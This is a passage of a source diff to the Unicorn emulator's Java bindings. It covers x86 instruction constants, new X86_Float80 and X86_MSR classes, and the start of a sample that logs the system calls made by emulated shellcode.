UC_X86_INS_VPACKUSDW = 979; + public static final int UC_X86_INS_VPACKUSWB = 980; + public static final int UC_X86_INS_VPADDB = 981; + public static final int UC_X86_INS_VPADDD = 982; + public static final int UC_X86_INS_VPADDQ = 983; + public static final int UC_X86_INS_VPADDSB = 984; + public static final int UC_X86_INS_VPADDSW = 985; + public static final int UC_X86_INS_VPADDUSB = 986; + public static final int UC_X86_INS_VPADDUSW = 987; + public static final int UC_X86_INS_VPADDW = 988; + public static final int UC_X86_INS_VPALIGNR = 989; + public static final int UC_X86_INS_VPANDD = 990; + public static final int UC_X86_INS_VPANDND = 991; + public static final int UC_X86_INS_VPANDNQ = 992; + public static final int UC_X86_INS_VPANDN = 993; + public static final int UC_X86_INS_VPANDQ = 994; + public static final int UC_X86_INS_VPAND = 995; + public static final int UC_X86_INS_VPAVGB = 996; + public static final int UC_X86_INS_VPAVGW = 997; + public static final int UC_X86_INS_VPBLENDD = 998; + public static final int UC_X86_INS_VPBLENDMB = 999; + public static final int UC_X86_INS_VPBLENDMD = 1000; + public static final int UC_X86_INS_VPBLENDMQ = 1001; + public static final int UC_X86_INS_VPBLENDMW = 1002; + public static final int UC_X86_INS_VPBLENDVB = 1003; + public static final int UC_X86_INS_VPBLENDW = 1004; + public static final int UC_X86_INS_VPBROADCASTB = 1005; + public static final int UC_X86_INS_VPBROADCASTD = 1006; + public static final int UC_X86_INS_VPBROADCASTMB2Q = 1007; + public static final int UC_X86_INS_VPBROADCASTMW2D = 1008; + public static final int UC_X86_INS_VPBROADCASTQ = 1009; + public static final int UC_X86_INS_VPBROADCASTW = 1010; + public static final int UC_X86_INS_VPCLMULQDQ = 1011; + public static final int UC_X86_INS_VPCMOV = 1012; + public static final int UC_X86_INS_VPCMPB = 1013; + public static final int UC_X86_INS_VPCMPD = 1014; + public static final int UC_X86_INS_VPCMPEQB = 1015; + public static final int UC_X86_INS_VPCMPEQD = 1016; + public static final int UC_X86_INS_VPCMPEQQ = 1017; + public static final int UC_X86_INS_VPCMPEQW = 1018; + public static final int UC_X86_INS_VPCMPESTRI = 1019; + public static final int UC_X86_INS_VPCMPESTRM = 1020; + public static final int UC_X86_INS_VPCMPGTB = 1021; + public static final int UC_X86_INS_VPCMPGTD = 1022; + public static final int UC_X86_INS_VPCMPGTQ = 1023; + public static final int UC_X86_INS_VPCMPGTW = 1024; + public static final int UC_X86_INS_VPCMPISTRI = 1025; + public static final int UC_X86_INS_VPCMPISTRM = 1026; + public static final int UC_X86_INS_VPCMPQ = 1027; + public static final int UC_X86_INS_VPCMPUB = 1028; + public static final int UC_X86_INS_VPCMPUD = 1029; + public static final int UC_X86_INS_VPCMPUQ = 1030; + public static final int UC_X86_INS_VPCMPUW = 1031; + public static final int UC_X86_INS_VPCMPW = 1032; + public static final int UC_X86_INS_VPCOMB = 1033; + public static final int UC_X86_INS_VPCOMD = 1034; + public static final int UC_X86_INS_VPCOMPRESSD = 1035; + public static final int UC_X86_INS_VPCOMPRESSQ = 1036; + public static final int UC_X86_INS_VPCOMQ = 1037; + public static final int UC_X86_INS_VPCOMUB = 1038; + public static final int UC_X86_INS_VPCOMUD = 1039; + public static final int UC_X86_INS_VPCOMUQ = 1040; + public static final int UC_X86_INS_VPCOMUW = 1041; + public static final int UC_X86_INS_VPCOMW = 1042; + public static final int UC_X86_INS_VPCONFLICTD = 1043; + public static final int UC_X86_INS_VPCONFLICTQ = 1044; + public static final int UC_X86_INS_VPERM2F128 = 1045; + public static final int UC_X86_INS_VPERM2I128 = 1046; + public static final int UC_X86_INS_VPERMD = 1047; + public static final int UC_X86_INS_VPERMI2D = 1048; + public static final int UC_X86_INS_VPERMI2PD = 1049; + public static final int UC_X86_INS_VPERMI2PS = 1050; + public static final int UC_X86_INS_VPERMI2Q = 1051; + public static final int UC_X86_INS_VPERMIL2PD = 1052; + public static final int UC_X86_INS_VPERMIL2PS = 1053; + public static final int UC_X86_INS_VPERMILPD = 1054; + public static final int UC_X86_INS_VPERMILPS = 1055; + public static final int UC_X86_INS_VPERMPD = 1056; + public static final int UC_X86_INS_VPERMPS = 1057; + public static final int UC_X86_INS_VPERMQ = 1058; + public static final int UC_X86_INS_VPERMT2D = 1059; + public static final int UC_X86_INS_VPERMT2PD = 1060; + public static final int UC_X86_INS_VPERMT2PS = 1061; + public static final int UC_X86_INS_VPERMT2Q = 1062; + public static final int UC_X86_INS_VPEXPANDD = 1063; + public static final int UC_X86_INS_VPEXPANDQ = 1064; + public static final int UC_X86_INS_VPEXTRB = 1065; + public static final int UC_X86_INS_VPEXTRD = 1066; + public static final int UC_X86_INS_VPEXTRQ = 1067; + public static final int UC_X86_INS_VPEXTRW = 1068; + public static final int UC_X86_INS_VPGATHERDD = 1069; + public static final int UC_X86_INS_VPGATHERDQ = 1070; + public static final int UC_X86_INS_VPGATHERQD = 1071; + public static final int UC_X86_INS_VPGATHERQQ = 1072; + public static final int UC_X86_INS_VPHADDBD = 1073; + public static final int UC_X86_INS_VPHADDBQ = 1074; + public static final int UC_X86_INS_VPHADDBW = 1075; + public static final int UC_X86_INS_VPHADDDQ = 1076; + public static final int UC_X86_INS_VPHADDD = 1077; + public static final int UC_X86_INS_VPHADDSW = 1078; + public static final int UC_X86_INS_VPHADDUBD = 1079; + public static final int UC_X86_INS_VPHADDUBQ = 1080; + public static final int UC_X86_INS_VPHADDUBW = 1081; + public static final int UC_X86_INS_VPHADDUDQ = 1082; + public static final int UC_X86_INS_VPHADDUWD = 1083; + public static final int UC_X86_INS_VPHADDUWQ = 1084; + public static final int UC_X86_INS_VPHADDWD = 1085; + public static final int UC_X86_INS_VPHADDWQ = 1086; + public static final int UC_X86_INS_VPHADDW = 1087; + public static final int UC_X86_INS_VPHMINPOSUW = 1088; + public static final int UC_X86_INS_VPHSUBBW = 1089; + public static final int UC_X86_INS_VPHSUBDQ = 1090; + public static final int UC_X86_INS_VPHSUBD = 1091; + public static final int UC_X86_INS_VPHSUBSW = 1092; + public static final int UC_X86_INS_VPHSUBWD = 1093; + public static final int UC_X86_INS_VPHSUBW = 1094; + public static final int UC_X86_INS_VPINSRB = 1095; + public static final int UC_X86_INS_VPINSRD = 1096; + public static final int UC_X86_INS_VPINSRQ = 1097; + public static final int UC_X86_INS_VPINSRW = 1098; + public static final int UC_X86_INS_VPLZCNTD = 1099; + public static final int UC_X86_INS_VPLZCNTQ = 1100; + public static final int UC_X86_INS_VPMACSDD = 1101; + public static final int UC_X86_INS_VPMACSDQH = 1102; + public static final int UC_X86_INS_VPMACSDQL = 1103; + public static final int UC_X86_INS_VPMACSSDD = 1104; + public static final int UC_X86_INS_VPMACSSDQH = 1105; + public static final int UC_X86_INS_VPMACSSDQL = 1106; + public static final int UC_X86_INS_VPMACSSWD = 1107; + public static final int UC_X86_INS_VPMACSSWW = 1108; + public static final int UC_X86_INS_VPMACSWD = 1109; + public static final int UC_X86_INS_VPMACSWW = 1110; + public static final int UC_X86_INS_VPMADCSSWD = 1111; + public static final int UC_X86_INS_VPMADCSWD = 1112; + public static final int UC_X86_INS_VPMADDUBSW = 1113; + public static final int UC_X86_INS_VPMADDWD = 1114; + public static final int UC_X86_INS_VPMASKMOVD = 1115; + public static final int UC_X86_INS_VPMASKMOVQ = 1116; + public static final int UC_X86_INS_VPMAXSB = 1117; + public static final int UC_X86_INS_VPMAXSD = 1118; + public static final int UC_X86_INS_VPMAXSQ = 1119; + public static final int UC_X86_INS_VPMAXSW = 1120; + public static final int UC_X86_INS_VPMAXUB = 1121; + public static final int UC_X86_INS_VPMAXUD = 1122; + public static final int UC_X86_INS_VPMAXUQ = 1123; + public static final int UC_X86_INS_VPMAXUW = 1124; + public static final int UC_X86_INS_VPMINSB = 1125; + public static final int UC_X86_INS_VPMINSD = 1126; + public static final int UC_X86_INS_VPMINSQ = 1127; + public static final int UC_X86_INS_VPMINSW = 1128; + public static final int UC_X86_INS_VPMINUB = 1129; + public static final int UC_X86_INS_VPMINUD = 1130; + public static final int UC_X86_INS_VPMINUQ = 1131; + public static final int UC_X86_INS_VPMINUW = 1132; + public static final int UC_X86_INS_VPMOVDB = 1133; + public static final int UC_X86_INS_VPMOVDW = 1134; + public static final int UC_X86_INS_VPMOVM2B = 1135; + public static final int UC_X86_INS_VPMOVM2D = 1136; + public static final int UC_X86_INS_VPMOVM2Q = 1137; + public static final int UC_X86_INS_VPMOVM2W = 1138; + public static final int UC_X86_INS_VPMOVMSKB = 1139; + public static final int UC_X86_INS_VPMOVQB = 1140; + public static final int UC_X86_INS_VPMOVQD = 1141; + public static final int UC_X86_INS_VPMOVQW = 1142; + public static final int UC_X86_INS_VPMOVSDB = 1143; + public static final int UC_X86_INS_VPMOVSDW = 1144; + public static final int UC_X86_INS_VPMOVSQB = 1145; + public static final int UC_X86_INS_VPMOVSQD = 1146; + public static final int UC_X86_INS_VPMOVSQW = 1147; + public static final int UC_X86_INS_VPMOVSXBD = 1148; + public static final int UC_X86_INS_VPMOVSXBQ = 1149; + public static final int UC_X86_INS_VPMOVSXBW = 1150; + public static final int UC_X86_INS_VPMOVSXDQ = 1151; + public static final int UC_X86_INS_VPMOVSXWD = 1152; + public static final int UC_X86_INS_VPMOVSXWQ = 1153; + public static final int UC_X86_INS_VPMOVUSDB = 1154; + public static final int UC_X86_INS_VPMOVUSDW = 1155; + public static final int UC_X86_INS_VPMOVUSQB = 1156; + public static final int UC_X86_INS_VPMOVUSQD = 1157; + public static final int UC_X86_INS_VPMOVUSQW = 1158; + public static final int UC_X86_INS_VPMOVZXBD = 1159; + public static final int UC_X86_INS_VPMOVZXBQ = 1160; + public static final int UC_X86_INS_VPMOVZXBW = 1161; + public static final int UC_X86_INS_VPMOVZXDQ = 1162; + public static final int UC_X86_INS_VPMOVZXWD = 1163; + public static final int UC_X86_INS_VPMOVZXWQ = 1164; + public static final int UC_X86_INS_VPMULDQ = 1165; + public static final int UC_X86_INS_VPMULHRSW = 1166; + public static final int UC_X86_INS_VPMULHUW = 1167; + public static final int UC_X86_INS_VPMULHW = 1168; + public static final int UC_X86_INS_VPMULLD = 1169; + public static final int UC_X86_INS_VPMULLQ = 1170; + public static final int UC_X86_INS_VPMULLW = 1171; + public static final int UC_X86_INS_VPMULUDQ = 1172; + public static final int UC_X86_INS_VPORD = 1173; + public static final int UC_X86_INS_VPORQ = 1174; + public static final int UC_X86_INS_VPOR = 1175; + public static final int UC_X86_INS_VPPERM = 1176; + public static final int UC_X86_INS_VPROTB = 1177; + public static final int UC_X86_INS_VPROTD = 1178; + public static final int UC_X86_INS_VPROTQ = 1179; + public static final int UC_X86_INS_VPROTW = 1180; + public static final int UC_X86_INS_VPSADBW = 1181; + public static final int UC_X86_INS_VPSCATTERDD = 1182; + public static final int UC_X86_INS_VPSCATTERDQ = 1183; + public static final int UC_X86_INS_VPSCATTERQD = 1184; + public static final int UC_X86_INS_VPSCATTERQQ = 1185; + public static final int UC_X86_INS_VPSHAB = 1186; + public static final int UC_X86_INS_VPSHAD = 1187; + public static final int UC_X86_INS_VPSHAQ = 1188; + public static final int UC_X86_INS_VPSHAW = 1189; + public static final int UC_X86_INS_VPSHLB = 1190; + public static final int UC_X86_INS_VPSHLD = 1191; + public static final int UC_X86_INS_VPSHLQ = 1192; + public static final int UC_X86_INS_VPSHLW = 1193; + public static final int UC_X86_INS_VPSHUFB = 1194; + public static final int UC_X86_INS_VPSHUFD = 1195; + public static final int UC_X86_INS_VPSHUFHW = 1196; + public static final int UC_X86_INS_VPSHUFLW = 1197; + public static final int UC_X86_INS_VPSIGNB = 1198; + public static final int UC_X86_INS_VPSIGND = 1199; + public static final int UC_X86_INS_VPSIGNW = 1200; + public static final int UC_X86_INS_VPSLLDQ = 1201; + public static final int UC_X86_INS_VPSLLD = 1202; + public static final int UC_X86_INS_VPSLLQ = 1203; + public static final int UC_X86_INS_VPSLLVD = 1204; + public static final int UC_X86_INS_VPSLLVQ = 1205; + public static final int UC_X86_INS_VPSLLW = 1206; + public static final int UC_X86_INS_VPSRAD = 1207; + public static final int UC_X86_INS_VPSRAQ = 1208; + public static final int UC_X86_INS_VPSRAVD = 1209; + public static final int UC_X86_INS_VPSRAVQ = 1210; + public static final int UC_X86_INS_VPSRAW = 1211; + public static final int UC_X86_INS_VPSRLDQ = 1212; + public static final int UC_X86_INS_VPSRLD = 1213; + public static final int UC_X86_INS_VPSRLQ = 1214; + public static final int UC_X86_INS_VPSRLVD = 1215; + public static final int UC_X86_INS_VPSRLVQ = 1216; + public static final int UC_X86_INS_VPSRLW = 1217; + public static final int UC_X86_INS_VPSUBB = 1218; + public static final int UC_X86_INS_VPSUBD = 1219; + public static final int UC_X86_INS_VPSUBQ = 1220; + public static final int UC_X86_INS_VPSUBSB = 1221; + public static final int UC_X86_INS_VPSUBSW = 1222; + public static final int UC_X86_INS_VPSUBUSB = 1223; + public static final int UC_X86_INS_VPSUBUSW = 1224; + public static final int UC_X86_INS_VPSUBW = 1225; + public static final int UC_X86_INS_VPTESTMD = 1226; + public static final int UC_X86_INS_VPTESTMQ = 1227; + public static final int UC_X86_INS_VPTESTNMD = 1228; + public static final int UC_X86_INS_VPTESTNMQ = 1229; + public static final int UC_X86_INS_VPTEST = 1230; + public static final int UC_X86_INS_VPUNPCKHBW = 1231; + public static final int UC_X86_INS_VPUNPCKHDQ = 1232; + public static final int UC_X86_INS_VPUNPCKHQDQ = 1233; + public static final int UC_X86_INS_VPUNPCKHWD = 1234; + public static final int UC_X86_INS_VPUNPCKLBW = 1235; + public static final int UC_X86_INS_VPUNPCKLDQ = 1236; + public static final int UC_X86_INS_VPUNPCKLQDQ = 1237; + public static final int UC_X86_INS_VPUNPCKLWD = 1238; + public static final int UC_X86_INS_VPXORD = 1239; + public static final int UC_X86_INS_VPXORQ = 1240; + public static final int UC_X86_INS_VPXOR = 1241; + public static final int UC_X86_INS_VRCP14PD = 1242; + public static final int UC_X86_INS_VRCP14PS = 1243; + public static final int UC_X86_INS_VRCP14SD = 1244; + public static final int UC_X86_INS_VRCP14SS = 1245; + public static final int UC_X86_INS_VRCP28PD = 1246; + public static final int UC_X86_INS_VRCP28PS = 1247; + public static final int UC_X86_INS_VRCP28SD = 1248; + public static final int UC_X86_INS_VRCP28SS = 1249; + public static final int UC_X86_INS_VRCPPS = 1250; + public static final int UC_X86_INS_VRCPSS = 1251; + public static final int UC_X86_INS_VRNDSCALEPD = 1252; + public static final int UC_X86_INS_VRNDSCALEPS = 1253; + public static final int UC_X86_INS_VRNDSCALESD = 1254; + public static final int UC_X86_INS_VRNDSCALESS = 1255; + public static final int UC_X86_INS_VROUNDPD = 1256; + public static final int UC_X86_INS_VROUNDPS = 1257; + public static final int UC_X86_INS_VROUNDSD = 1258; + public static final int UC_X86_INS_VROUNDSS = 1259; + public static final int UC_X86_INS_VRSQRT14PD = 1260; + public static final int UC_X86_INS_VRSQRT14PS = 1261; + public static final int UC_X86_INS_VRSQRT14SD = 1262; + public static final int UC_X86_INS_VRSQRT14SS = 1263; + public static final int UC_X86_INS_VRSQRT28PD = 1264; + public static final int UC_X86_INS_VRSQRT28PS = 1265; + public static final int UC_X86_INS_VRSQRT28SD = 1266; + public static final int UC_X86_INS_VRSQRT28SS = 1267; + public static final int UC_X86_INS_VRSQRTPS = 1268; + public static final int UC_X86_INS_VRSQRTSS = 1269; + public static final int UC_X86_INS_VSCATTERDPD = 1270; + public static final int UC_X86_INS_VSCATTERDPS = 1271; + public static final int UC_X86_INS_VSCATTERPF0DPD = 1272; + public static final int UC_X86_INS_VSCATTERPF0DPS = 1273; + public static final int UC_X86_INS_VSCATTERPF0QPD = 1274; + public static final int UC_X86_INS_VSCATTERPF0QPS = 1275; + public static final int UC_X86_INS_VSCATTERPF1DPD = 1276; + public static final int UC_X86_INS_VSCATTERPF1DPS = 1277; + public static final int UC_X86_INS_VSCATTERPF1QPD = 1278; + public static final int UC_X86_INS_VSCATTERPF1QPS = 1279; + public static final int UC_X86_INS_VSCATTERQPD = 1280; + public static final int UC_X86_INS_VSCATTERQPS = 1281; + public static final int UC_X86_INS_VSHUFPD = 1282; + public static final int UC_X86_INS_VSHUFPS = 1283; + public static final int UC_X86_INS_VSQRTPD = 1284; + public static final int UC_X86_INS_VSQRTPS = 1285; + public static final int UC_X86_INS_VSQRTSD = 1286; + public static final int UC_X86_INS_VSQRTSS = 1287; + public static final int UC_X86_INS_VSTMXCSR = 1288; + public static final int UC_X86_INS_VSUBPD = 1289; + public static final int UC_X86_INS_VSUBPS = 1290; + public static final int UC_X86_INS_VSUBSD = 1291; + public static final int UC_X86_INS_VSUBSS = 1292; + public static final int UC_X86_INS_VTESTPD = 1293; + public static final int UC_X86_INS_VTESTPS = 1294; + public static final int UC_X86_INS_VUNPCKHPD = 1295; + public static final int UC_X86_INS_VUNPCKHPS = 1296; + public static final int UC_X86_INS_VUNPCKLPD = 1297; + public static final int UC_X86_INS_VUNPCKLPS = 1298; + public static final int UC_X86_INS_VZEROALL = 1299; + public static final int UC_X86_INS_VZEROUPPER = 1300; + public static final int UC_X86_INS_WAIT = 1301; + public static final int UC_X86_INS_WBINVD = 1302; + public static final int UC_X86_INS_WRFSBASE = 1303; + public static final int UC_X86_INS_WRGSBASE = 1304; + public static final int UC_X86_INS_WRMSR = 1305; + public static final int UC_X86_INS_XABORT = 1306; + public static final int UC_X86_INS_XACQUIRE = 1307; + public static final int UC_X86_INS_XBEGIN = 1308; + public static final int UC_X86_INS_XCHG = 1309; + public static final int UC_X86_INS_XCRYPTCBC = 1310; + public static final int UC_X86_INS_XCRYPTCFB = 1311; + public static final int UC_X86_INS_XCRYPTCTR = 1312; + public static final int UC_X86_INS_XCRYPTECB = 1313; + public static final int UC_X86_INS_XCRYPTOFB = 1314; + public static final int UC_X86_INS_XEND = 1315; + public static final int UC_X86_INS_XGETBV = 1316; + public static final int UC_X86_INS_XLATB = 1317; + public static final int UC_X86_INS_XRELEASE = 1318; + public static final int UC_X86_INS_XRSTOR = 1319; + public static final int UC_X86_INS_XRSTOR64 = 1320; + public static final int UC_X86_INS_XRSTORS = 1321; + public static final int UC_X86_INS_XRSTORS64 = 1322; + public static final int UC_X86_INS_XSAVE = 1323; + public static final int UC_X86_INS_XSAVE64 = 1324; + public static final int UC_X86_INS_XSAVEC = 1325; + public static final int UC_X86_INS_XSAVEC64 = 1326; + public static final int UC_X86_INS_XSAVEOPT = 1327; + public static final int UC_X86_INS_XSAVEOPT64 = 1328; + public static final int UC_X86_INS_XSAVES = 1329; + public static final int UC_X86_INS_XSAVES64 = 1330; + public static final int UC_X86_INS_XSETBV = 1331; + public static final int UC_X86_INS_XSHA1 = 1332; + public static final int UC_X86_INS_XSHA256 = 1333; + public static final int UC_X86_INS_XSTORE = 1334; + public static final int UC_X86_INS_XTEST = 1335; + public static final int UC_X86_INS_FDISI8087_NOP = 1336; + public static final int UC_X86_INS_FENI8087_NOP = 1337; + public static final int UC_X86_INS_ENDING = 1338; + +} diff --git a/bindings/java/src/main/java/unicorn/X86_Float80.java b/bindings/java/src/main/java/unicorn/X86_Float80.java new file mode 100644 index 0000000000..df76dc7b58 --- /dev/null +++ b/bindings/java/src/main/java/unicorn/X86_Float80.java @@ -0,0 +1,72 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public class X86_Float80 { + public long mantissa; + public short exponent; + + public X86_Float80(long mantissa, short exponent) { + this.mantissa = mantissa; + this.exponent = exponent; + } + + public double toDouble() { + boolean sign = (exponent & 0x8000) != 0; + int exp = exponent & 0x7fff; + if (exp == 0) { + return sign ? -0.0 : 0.0; + } else if (exp == 0x7fff) { + if (((mantissa >> 62) & 1) == 0) { + return sign ? Double.NEGATIVE_INFINITY + : Double.POSITIVE_INFINITY; + } else { + return Double.NaN; + } + } else { + exp -= 16383; + double f = mantissa >>> 1; + return Math.scalb(sign ? -f : f, exp - 62); + } + } + + public static X86_Float80 fromDouble(double val) { + if (Double.isNaN(val)) { + return new X86_Float80(-1L, (short) -1); + } else if (Double.isInfinite(val)) { + return new X86_Float80(1L << 63, + (short) (val < 0 ? 0xffff : 0x7fff)); + } else { + int exp = Math.getExponent(val); + long mantissa = ((long) Math.scalb(Math.abs(val), 62 - exp)) << 1; + exp += 16383; + return new X86_Float80(mantissa, + (short) (val < 0 ? (exp | 0x8000) : exp)); + } + } + + @Override + public String toString() { + return "X86_Float80 [mantissa=" + mantissa + ", exponent=" + exponent + + "]"; + } +} diff --git a/bindings/java/unicorn/X86_MMR.java b/bindings/java/src/main/java/unicorn/X86_MMR.java similarity index 52% rename from bindings/java/unicorn/X86_MMR.java rename to bindings/java/src/main/java/unicorn/X86_MMR.java index 1c3db2bcb9..5f8e8b6308 100644 --- a/bindings/java/unicorn/X86_MMR.java +++ b/bindings/java/src/main/java/unicorn/X86_MMR.java @@ -21,26 +21,30 @@ package unicorn; +/** Memory-Management Register for instructions IDTR, GDTR, LDTR, TR. */ public class X86_MMR { - - public long base; - public int limit; - public int flags; - public short selector; - - public X86_MMR(long base, int limit, int flags, short selector) { - this.base = base; - this.limit = limit; - this.flags = flags; - this.selector = selector; - } - - public X86_MMR(long base, int limit) { - this.base = base; - this.limit = limit; - selector = 0; - flags = 0; - } - + public long base; + public int limit; + public int flags; + public short selector; + + public X86_MMR(long base, int limit, int flags, short selector) { + this.base = base; + this.limit = limit; + this.flags = flags; + this.selector = selector; + } + + public X86_MMR(long base, int limit) { + this.base = base; + this.limit = limit; + selector = 0; + flags = 0; + } + + @Override + public String toString() { + return "X86_MMR [base=" + base + ", limit=" + limit + ", flags=" + + flags + ", selector=" + selector + "]"; + } } - diff --git a/bindings/java/unicorn/InHook.java b/bindings/java/src/main/java/unicorn/X86_MSR.java similarity index 63% rename from bindings/java/unicorn/InHook.java rename to bindings/java/src/main/java/unicorn/X86_MSR.java index 97653ab33f..4da232f391 100644 --- a/bindings/java/unicorn/InHook.java +++ b/bindings/java/src/main/java/unicorn/X86_MSR.java @@ -2,7 +2,7 @@ Java bindings for the Unicorn Emulator Engine -Copyright(c) 2015 Chris Eagle +Copyright(c) 2023 Robert Xiao This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License @@ -21,9 +21,22 @@ package unicorn; -public interface InHook extends Hook { +/** Model-specific register */ +public class X86_MSR { + public int rid; + public long value; - public int hook(Unicorn u, int port, int size, Object user); + public X86_MSR(int rid) { + this(rid, 0); + } -} + public X86_MSR(int rid, long value) { + this.rid = rid; + this.value = value; + } + @Override + public String toString() { + return "X86_MSR [rid=" + rid + ", value=" + value + "]"; + } +} diff --git a/bindings/java/src/test/java/samples/SampleNetworkAuditing.java b/bindings/java/src/test/java/samples/SampleNetworkAuditing.java new file mode 100644 index 0000000000..7b689a5de1 --- /dev/null +++ b/bindings/java/src/test/java/samples/SampleNetworkAuditing.java @@ -0,0 +1,474 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* + Unicorn sample for auditing network connection and file handling in shellcode. + Nguyen Tan Cong +*/ + +package samples; + +import unicorn.*; +import java.util.*; + +public class SampleNetworkAuditing implements UnicornConst, X86Const { + + public static long next_id = 3; + public static final int SIZE_REG = 4; + + private static LogChain fd_chains = new LogChain(); + + public static long get_id() { + return next_id++; + } + + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } + + private static class MyInterruptHook implements InterruptHook { + // callback for tracing Linux interrupt + public void hook(Unicorn uc, int intno, Object user) { + // System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode())); + + // only handle Linux syscall + if (intno != 0x80) { + return; + } + long eax = uc.reg_read(UC_X86_REG_EAX); + long ebx = uc.reg_read(UC_X86_REG_EBX); + long ecx = uc.reg_read(UC_X86_REG_ECX); + long edx = uc.reg_read(UC_X86_REG_EDX); + long eip = uc.reg_read(UC_X86_REG_EIP); + + // System.out.printf(">>> INTERRUPT %d\n", toInt(eax)); + + if (eax == 1) { // sys_exit + System.out.printf(">>> SYS_EXIT\n"); + uc.emu_stop(); + } else if (eax == 3) { // sys_read + long fd = ebx; + long buf = ecx; + long count = edx; + + String uuid = UUID.randomUUID().toString().substring(0, 32); + + byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, + (int) Math.min(count, uuid.length())); + uc.mem_write(buf, dummy_content); + + String msg = String.format( + "read %d bytes from fd(%d) with dummy_content(%s)", count, + fd, uuid.substring(0, dummy_content.length)); + + fd_chains.add_log(fd, msg); + System.out.printf(">>> %s\n", msg); + } else if (eax == 4) { // sys_write + long fd = ebx; + long buf = ecx; + long count = edx; + + byte[] content = uc.mem_read(buf, (int) count); + + String msg = String.format("write data=%s count=%d to fd(%d)", + new String(content), count, fd); + + System.out.printf(">>> %s\n", msg); + fd_chains.add_log(fd, msg); + } else if (eax == 5) { // sys_open + long filename_addr = ebx; + long flags = ecx; + long mode = edx; + String filename = read_string(uc, filename_addr); + + long dummy_fd = get_id(); + uc.reg_write(UC_X86_REG_EAX, dummy_fd); + + String msg = String.format( + "open file (filename=%s flags=%d mode=%d) with fd(%d)", + filename, flags, mode, dummy_fd); + + fd_chains.create_chain(dummy_fd); + fd_chains.add_log(dummy_fd, msg); + System.out.printf(">>> %s\n", msg); + } else if (eax == 11) { // sys_execv + // System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx)); + String filename = read_string(uc, ebx); + + System.out.printf(">>> SYS_EXECV filename=%s\n", filename); + } else if (eax == 63) { // sys_dup2 + fd_chains.link_fd(ecx, ebx); + System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx); + } else if (eax == 102) { // sys_socketcall + // ref: http://www.skyfree.org/linux/kernel_network/socket.html + long call = uc.reg_read(UC_X86_REG_EBX); + long args = uc.reg_read(UC_X86_REG_ECX); + + // int sys_socketcall(int call, unsigned long *args) + if (call == 1) { // sys_socket + // err = sys_socket(a0,a1,a[2]) + // int sys_socket(int family, int type, int protocol) + long family = toInt(uc.mem_read(args, SIZE_REG)); + long sock_type = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long protocol = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + long dummy_fd = get_id(); + uc.reg_write(UC_X86_REG_EAX, dummy_fd); + + if (family == 2) { // AF_INET + String msg = + String.format("create socket (%s, %s) with fd(%d)", + ADDR_FAMILY.get(family), + SOCKET_TYPES.get(sock_type), dummy_fd); + fd_chains.create_chain(dummy_fd); + fd_chains.add_log(dummy_fd, msg); + print_sockcall(msg); + } else if (family == 3) { // AF_INET6 + } + } else if (call == 2) { // sys_bind + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long umyaddr = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long addrlen = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + byte[] sock_addr = uc.mem_read(umyaddr, (int) addrlen); + + String msg = String.format("fd(%d) bind to %s", fd, + parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 3) { // sys_connect + // err = sys_connect(a0, (struct sockaddr *)a1, a[2]) + // int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen) + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long uservaddr = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long addrlen = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + byte[] sock_addr = uc.mem_read(uservaddr, (int) addrlen); + String msg = String.format("fd(%d) connect to %s", fd, + parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 4) { // sys_listen + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long backlog = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + + String msg = String.format( + "fd(%d) listened with backlog=%d", fd, backlog); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 5) { // sys_accept + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long upeer_sockaddr = + toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long upeer_addrlen = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + + // System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen)) + + if (upeer_sockaddr == 0x0) { + print_sockcall( + String.format("fd(%d) accept client", fd)); + } else { + long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4)); + + byte[] sock_addr = + uc.mem_read(upeer_sockaddr, (int) upeer_len); + + String msg = + 